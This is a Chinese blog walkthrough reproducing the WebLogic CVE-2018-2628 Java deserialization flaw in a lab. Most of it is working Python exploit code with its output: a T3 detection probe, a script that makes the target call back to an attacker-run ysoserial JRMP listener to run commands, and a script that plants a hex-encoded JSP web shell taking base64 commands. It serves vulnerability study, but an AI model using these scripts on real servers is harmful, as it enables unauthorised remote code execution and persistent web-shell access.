Weblogic复现之Java反序列化

ca5tle

2019-07-28 (Updated: 2020-04-26)

漏洞复现

前言

weblogic的最后一个漏洞，Java反序列化，以前没学过Java，也没学过Java反序列化。。。。

Java序列化与反序列化

Java序列化：即把Java对象转换为字节序列的过程

Java反序列化：是指把字节序列恢复为Java对象的过程

目的：为了让Java对象脱离Java运行环境的一种手段，可以有效的实现多平台之间的通信，对象持久化存储

涉及版本

10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

漏洞复现

方法一

nmap探测目标信息，是否正在使用T3协议

nmap -n -v -p 7001 192.168.220.141 --script=weblogic-t3-info

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PORT     STATE SERVICE
7001/tcp open  afs3-callback
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)

使用python脚本探测目标是否存在Java反序列化漏洞

探测脚本：(基于python2)

# -*- coding: utf-8 -*-
# FileName:     weblogic_poc.py
#先进行T3的握手，成功了就发送第一步的payload，然后发送RequestObject，尝试让weblogic反连自己，然后发送恶意数据，通过回显判定恶意特征串来判定是否存在漏洞
import socket
import time
import re
import sys
import json
socket.setdefaulttimeout(5)
VUL=['CVE-2018-2628']
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']
def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    #print 'handshake successful'
def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    #print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
def sendEvilObjData(sock,data):
	payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    count = 1024
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
            count -= 1
            if count <= 0:
                break
    except Exception as e:
        pass
    return res
def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        #print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
        return True
    return False 
def do_run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
    sock.settimeout(25)
    server_addr = (dip, dport)
    t3handshake(sock, server_addr)
    buildT3RequestObject(sock, dport)
    rs=sendEvilObjData(sock, PAYLOAD[index])
    #print 'rs',rs
    return checkVul(rs, server_addr, index)
def run(url, port):
    try:
        res = do_run(url, port, 0)
        if res:
            out = {
            '结果': '存在WebLogic CVE-2018-2628 反序列化RCE漏洞',
            'url': '%s:%s' % (url, port),
            } 
            return json.dumps(out, encoding='utf8', ensure_ascii = False)
        return False
    except Exception ,e:
        print "[!] ", e
    return False
if __name__=="__main__":
    dip = sys.argv[1]
    dport = 7001
    print run(dip,dport)

执行结果：

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root@kali:~# python weblogic_poc.py 192.168.220.141
{"url": "192.168.220.141:7001", "结果": "存在WebLogic CVE-2018-2628 反序列化RCE漏洞"}
root@kali:~#

根据前面探测的信息，发现目标存在Java反序列化漏洞

我们需要使用“ysoserial”这个工具: https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

首先使用ysoserial在攻击机上启动一个JRMP server，输入一下命令

`java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]`

[listen port]: 攻击机要监听的端口 [command]: 想要执行的命令

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7089 CommonsCollections1 "touch /tmp/test.bat"

使用python脚本向目标发送数据包，该脚本会让靶机调用相关服务来访问我们启动的JRMP server，执行我们想要的命令

脚本：(基于python2)

# -*- coding: utf-8 -*-
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')
def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):  payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')
if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()
    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip]：目标weblogic的IP
[victim port]：目标weblogic的端口
[path to ysoserial] ：ysoserial的路径
[JRMPListener ip] ：第一步中启动JRMP Server的IP地址
 [JRMPListener port] ：第一步中启动JRMP Server的I端口地址
[JRMPClient]：执行JRMPClient的类，可选的值是JRMPClient或JRMPClient2

等待一小会时间，双方会进行握手，进行数据交互，然后成功执行命令

python2 44553.py 192.168.220.141 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.31.223 7089 JRMPClient
handshake successful
send request payload successful,recv length:1691
command: java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient 192.168.31.223:7089 > payload.out
payload: aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3139322e3136382e33312e32323300001bb1000000007f55ff7000000000000000000000000000000078

进入环境中，查看是否执行成功

1 2	docker ps -a #查看要进入容器的id docker exec -ti 容器id或容器名称 /bin/bash

方法二

来自github上的一个python脚本，可以使用该方法执行一些命令

地址：https://github.com/jas502n/CVE-2018-2628

执行脚本：(基于python2)

# -*- coding: utf-8 -*-
import socket
import time
import sys
import re
dip = str(sys.argv[1])
dport = int(sys.argv[2])
VUL=['CVE-2018-2628']
#remote ip changed to :127.0.0.1
PAYLOAD=['ACED0005737D00000001001D6A6176612E726D692E61637469766174696F6E2E416374697661746F72787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707729000A556E69636173745265660000000005A2000000005649E3FD00000000000000000000000000000078']
#remote ip:104.251.228.50
#PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']
# 0x01 获取weblogic版本
def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print 'handshake successful'
# 0x02
def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
#0x03 getshell
def sendGetShell(sock,data):   
    s1 = "00000767056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e66696c6575706c6f61642e6469736b2e4469736b46696c654974656d1f0d7226839a887103000a5a000b6973466f726d4669656c644a000473697a6549000d73697a655468726573686f6c645b000d636163686564436f6e74656e747400025b424c000b636f6e74656e74547970657400124c6a6176612f6c616e672f537472696e673b4c000864666f7346696c6574000e4c6a6176612f696f2f46696c653b4c00096669656c644e616d6571007e00024c000866696c654e616d6571007e00024c00076865616465727374002f4c6f72672f6170616368652f636f6d6d6f6e732f66696c6575706c6f61642f46696c654974656d486561646572733b4c000a7265706f7369746f727971007e0003787000ffffffffffffffff00000000757200025b42acf317f8060854e00200007870000002d4"
    shell_file = "3c25407061676520696d706f72743d226a6176612e696f2e2a22253e0d0a3c25407061676520696d706f72743d2273756e2e6d6973632e4241534536344465636f64657222253e0d0a3c250d0a747279207b0d0a537472696e6720636d64203d20726571756573742e676574506172616d657465722822746f6d22293b0d0a537472696e6720706174683d6170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574526571756573745552492829293b0d0a537472696e67206469723d227765626c6f676963223b0d0a696628636d642e657175616c7328224e7a55314e672229297b6f75742e7072696e7428225b535d222b6469722b225b455d22293b7d0d0a627974655b5d2062696e617279203d204241534536344465636f6465722e636c6173732e6e6577496e7374616e636528292e6465636f646542756666657228636d64293b0d0a537472696e67206b636d64203d206e657720537472696e672862696e617279293b0d0a50726f63657373206368696c64203d2052756e74696d652e67657452756e74696d6528292e65786563286b636d64293b0d0a496e70757453747265616d20696e203d206368696c642e676574496e70757453747265616d28293b0d0a6f75742e7072696e7428222d3e7c22293b0d0a696e7420633b0d0a7768696c6520282863203d20696e2e7265616428292920213d202d3129207b0d0a6f75742e7072696e742828636861722963293b0d0a7d0d0a696e2e636c6f736528293b0d0a6f75742e7072696e7428227c3c2d22293b0d0a747279207b0d0a6368696c642e77616974466f7228293b0d0a7d2063617463682028496e746572727570746564457863657074696f6e206529207b0d0a652e7072696e74537461636b547261636528293b0d0a7d0d0a7d2063617463682028494f457863657074696f6e206529207b0d0a53797374656d2e6572722e7072696e746c6e2865293b0d0a7d"
    filename = (str(sys.argv[3])).encode("hex")
    #print "\n>>>shell filename: %s >>16-hex %s" % (str(sys.argv[3]),filename)
    #print "\n\n"
    s3 = "0d0a253e7400186170706c69636174696f6e2f6f637465742d73747265616d707400047465737471007e0009707372000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e0002787074004d736572766572735c41646d696e5365727665725c746d705c5f574c5f696e7465726e616c5c6265615f776c735f696e7465726e616c5c396a3464716b5c7761725c%sc0807702005c7878fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff" % (filename)
    payload1 = s1 + shell_file + s3
    #print "GetShell Payload: %s" % payload1
    #print "\n\n"
    print "\n\n >>>>usage: python cve-2018-2628.py ip port shell1.jsp \n\n"
    print "\n>>>Shell File Upload Dir: \n\n", r"servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\%s" % (str(sys.argv[3]))
    print 
    for i in [payload1]:
        sock.send(i.decode("hex"))
    time.sleep(2)
    url = "http://" + dip + ":" + str(dport)
    print "\n>>>Getshell: %s/bea_wls_internal/%s?tom=d2hvYW1pCg==" % (url, (str(sys.argv[3])))
def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
    sock.settimeout(20)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    #buildT3RequestObject(sock,dport)
    rs=sendGetShell(sock,PAYLOAD[index])
    #print 'rs',rs
if __name__=="__main__":
    run(dip,dport,0)

执行命令：

1 2	python CVE-2018-2628-Getshell.py 目标地址目标端口 test11.jsp (注意: 上面test11.jsp为你起的文件名，改名字需要长度等于10)

执行结果：

root@kali:~/桌面# python CVE-2018-2628-Getshell.py 192.168.220.141 7001 test11.jsp
handshake successful
 >>>>usage: python cve-2018-2628.py ip port shell1.jsp 
>>>Shell File Upload Dir: 
servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\test11.jsp
>>>Getshell: http://192.168.220.141:7001/bea_wls_internal/test11.jsp?tom=d2hvYW1pCg==
root@kali:~/桌面#

现在我们已经获取了一个地址，打开浏览器访问它：

whoami

我们执行了whoami的命令。上面 tom 后面的变量即为 whomai 的base64编码，我们可以使用 kali 来生成任意base64编码，来替换该变量，以达到执行任意命令：
1
2
root@kali:~# echo "uname -a" | base64
dW5hbWUgLWEK

uname -a

不难发现，上面的test11变为了test12，是因为在进行多次测试的时候发现，生成完一次脚本的连接仅能访问一次，第二次访问会返回404…

总结

虽然上面的复现都执行成功了，但是我还是不太理解，脚本还不明白，以后要继续看，最好是能够自己学习写脚本。

前言

Java序列化与反序列化

相关历史漏洞

涉及版本

漏洞复现

方法一

方法二

总结